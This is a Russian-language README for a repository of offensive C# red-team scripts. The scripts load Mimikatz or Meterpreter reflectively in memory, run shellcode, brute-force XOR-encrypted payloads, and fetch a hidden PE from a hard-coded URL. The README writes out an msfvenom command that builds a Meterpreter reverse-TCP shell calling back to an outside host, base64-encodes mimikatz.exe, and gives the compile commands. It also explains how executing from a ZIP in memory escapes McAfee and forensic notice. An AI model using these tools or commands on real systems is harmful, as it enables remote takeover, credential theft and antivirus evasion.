
C#-скрипты для наступательных действий: рефлексивная инъекция PE и шелл-кода, выполнение полезной нагрузки в памяти, перебор XOR для расшифровки шелл-кода и разбор сборок .NET.
Автор: Arno0x0x - @Arno0x0x
Этот репозиторий предназначен для публикации некоторых моих C# скриптов. Некоторые из них просто ответвлены или вдохновлены другими скриптами, которые я нашёл тут и там, и я адаптировал их под свои нужды или просто для обучения и совершенствования.
bfDecryptShellcode.cs
Этот скрипт — немного глупый и, вероятно, не очень полезный PoC расшифровки методом перебора многобайтового XOR-зашифрованного shellcode. После расшифровки shellcode загружается в память и выполняется.
Чтобы использовать его, вам нужны две вещи:
Оба можно получить, используя мой проект ShellcodeWrapper и подав в него любую raw полезную нагрузку metasploit.
parseAssembly.cs
Это консольное приложение динамически загружает сборку .Net (exe или dll) либо из локального файла, либо загруженную по URL, опционально в кодировке base64. После загрузки оно перечисляет её типы, методы и свойства.
Примеры:
parseAssembly.exe myAssembly.dll
или
parseAssembly.exe http://some.site.com/myAssembly base64
Это набор скриптов, адаптированных из работы Casey Smith (@subTee) по рефлексивной инъекции PE или shellcode в вызывающий процесс, из различных источников.
peloader.cs
Этот скрипт загружает base64-кодированный x64 PE-файл (например: Mimikatz или Meterpreter) в память процесса и рефлексивно выполняет его. PE передаётся как строковая переменная в base64 в начале файла (да, он жёстко закодирован).
Вы можете сгенерировать эту base64-кодированную строку из любого файла с помощью следующей командной строки *nix:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Компиляция скрипта на машине с Windows требует .Net framework (устанавливается по умолчанию начиная с Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
Этот скрипт выполняет шелл-код в памяти процесса и рефлексивно его запускает. Шелл-код передаётся в виде массива байтов в переменной. Вы можете получить подходящий код для этого массива, автоматически сгенерированный с помощью утилиты msfvenom из Metasploit. Например, чтобы сгенерировать шелл-код reverse_tcp meterpreter:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Компиляция скрипта на машине с Windows требует .Net framework (устанавливается по умолчанию начиная с Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
Этот скрипт в значительной степени и, к сожалению, основан на работе Casey Smith (@subTee) над Netkatz, вдохновлён ею и произведён от неё.
Я обнаружил, что локальный антивирус (McAfee) на моей корпоративной рабочей станции настроен так, чтобы НЕ анализировать содержимое ZIP-файла, вероятно, исходя из предположения, что всякий раз, когда это содержимое должно быть прочитано или выполнено, оно обычно сначала будет извлечено куда-нибудь на диск, и любая вредоносная составляющая в нём будет поймана антивирусом в этот момент.
Этот скрипт загружает всё в память и работает только оттуда, также используя рефлексию для выполнения PE из памяти вызывающего процесса.
Таким образом, не только антивирус вообще не реагирует, но и с криминалистической точки зрения единственный «видимо работающий процесс» выглядит совершенно безобидно.
Для компиляции скрипта на машине с Windows требуется .Net framework (устанавливается по умолчанию начиная с Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
Затем можно выполнить:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
Этот скрипт в значительной степени основан на работе Casey Smith (@subTee) над Netkatz и вдохновлён ею.
Netkatz — это фантастический PoC загрузки последнего релиза mimikatz с GitHub и его выполнения прямо в памяти. Однако в моей среде я столкнулся с тремя проблемами:
Поэтому я изменил оригинальный скрипт netkatz, чтобы решить эти 3 проблемы:
URL, с которого загружается скрытый PE, жёстко закодирован в скрипте.
Для компиляции скрипта на машине Windows требуется .Net framework (устанавливается по умолчанию начиная с Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs